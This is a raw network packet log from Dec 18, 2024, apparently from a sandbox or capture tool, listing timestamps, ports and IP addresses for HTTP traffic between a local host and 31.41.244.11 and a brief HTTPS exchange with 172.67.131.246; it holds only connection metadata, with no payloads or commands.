Dec 18, 2024 17:08:23.099421978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.099499941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.099538088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.099615097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.100454092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.100514889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.100588083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.100682974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.101627111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.101708889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.101778984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.101869106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.102993011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.103050947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.103184938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.103246927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.104454994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.104532957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.104552031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.104669094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.105551958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.105637074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.105645895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.105696917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.106863022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.106966019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.106976986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.107099056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.241695881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.241715908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.241816044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.241971970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.241997957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.242082119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.243144035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.243228912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.243283987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.243357897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.244143963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.244226933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.244271994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.244349003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.244949102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.245001078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.245105982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.245157003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.246128082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.246181965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.246335030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.246385098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.247157097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.247230053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.247262001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.247308016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.248116970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.248172045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.248334885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.248384953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.249209881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.249259949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.249294043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.249344110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.250287056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.250349045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.250428915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.250480890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.251379967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.251441956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.251516104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.251564026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.252518892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.252573013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.252635002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.252702951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.253618956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.253669024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.253809929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.253859043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.254664898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.254724979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.254884958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.254937887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.255789995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.255845070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.255954981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.256006956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.256859064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.256902933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.256979942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.257031918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.257993937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.258050919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.258148909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.258196115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.259429932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.259481907 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.259507895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.259560108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.260406017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.260457993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.260548115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.260600090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.261473894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.261553049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.261588097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.261640072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.262518883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.262571096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.262640953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.262692928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.263637066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.263690948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.263725042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.263773918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.264516115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.264564991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.264640093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.264691114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.265625000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.265676022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.265733004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.265779018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.266733885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.266796112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.266886950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.266937017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.267765999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.267823935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.267889023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.267940044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.268850088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.268898010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.269135952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.269186020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.269967079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.270018101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.270085096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.270133972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.271125078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.271178961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.271275043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.271334887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.272283077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.272335052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.272524118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.272574902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.273353100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.273403883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.273551941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.273602962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.274482965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.274539948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.274813890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.274864912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.275430918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.275482893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.275666952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.275719881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.276819944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.276880980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.276973963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.277025938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.277647972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.277705908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.277745962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.277793884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.278723955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.278779030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.280006886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.280024052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.280057907 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.280076981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.280320883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.280374050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.281105995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.281158924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.281260967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.281316996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.282193899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.282243013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.282291889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.282335997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.283401966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.283463001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.283514977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.283566952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.284437895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.284488916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.284512997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.284559011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.285389900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.285429955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.285444975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.285481930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.286420107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.286475897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.286627054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.286674023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.287518978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.287579060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.287640095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.287684917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.288705111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.288758993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.288817883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.288865089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.289729118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.289778948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.289833069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.289879084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.290918112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.290971994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.291143894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.291202068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.291831970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.291883945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.291996002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.292042971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.293301105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.293320894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.293358088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.293382883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.294011116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.294099092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.294240952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.294286966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.295325994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.295382977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.295427084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.295494080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.296010017 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:23.296088934 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:23.296367884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.296421051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.296555996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.296597004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.297353983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.297413111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.297491074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.297537088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.298191071 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:23.298213959 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:23.298415899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.298460960 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:23.298475027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.298511028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.298551083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.300137997 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:23.300168037 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:23.300215960 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:23.433824062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.433907986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.433954000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.434000015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.434283972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.434348106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.434408903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.434449911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.435702085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.435770988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.436177015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.436233997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.436304092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.436350107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.437504053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.437568903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.437695980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.437745094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.438544035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.438605070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.438657999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.438703060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.439697027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.439763069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.439831972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.439881086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.440845966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.440901995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.440947056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.441004992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.441951036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.442025900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.442065954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.442111015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.442962885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.443018913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.443099976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.443146944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.444015980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.444071054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.444109917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.444153070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.444931030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.444998980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.445024014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.445081949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.446089029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.446150064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.446213007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.446259975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.446959019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.447011948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.447233915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.447283983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.448092937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.448158026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.448189974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.448232889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.449106932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.449157000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.449243069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.449294090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.450005054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.450057983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.450104952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.450151920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.451070070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.451123953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.451211929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.451262951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.452214003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.452267885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.452311993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.452358961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.453289032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.453341007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.453389883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.453434944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.454375982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.454428911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.454468966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.454511881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.455465078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.455514908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.455564976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.455612898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.456531048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.456582069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.456650019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.456691980 CET	49771	80	192.168.2.4	31.41.244.11
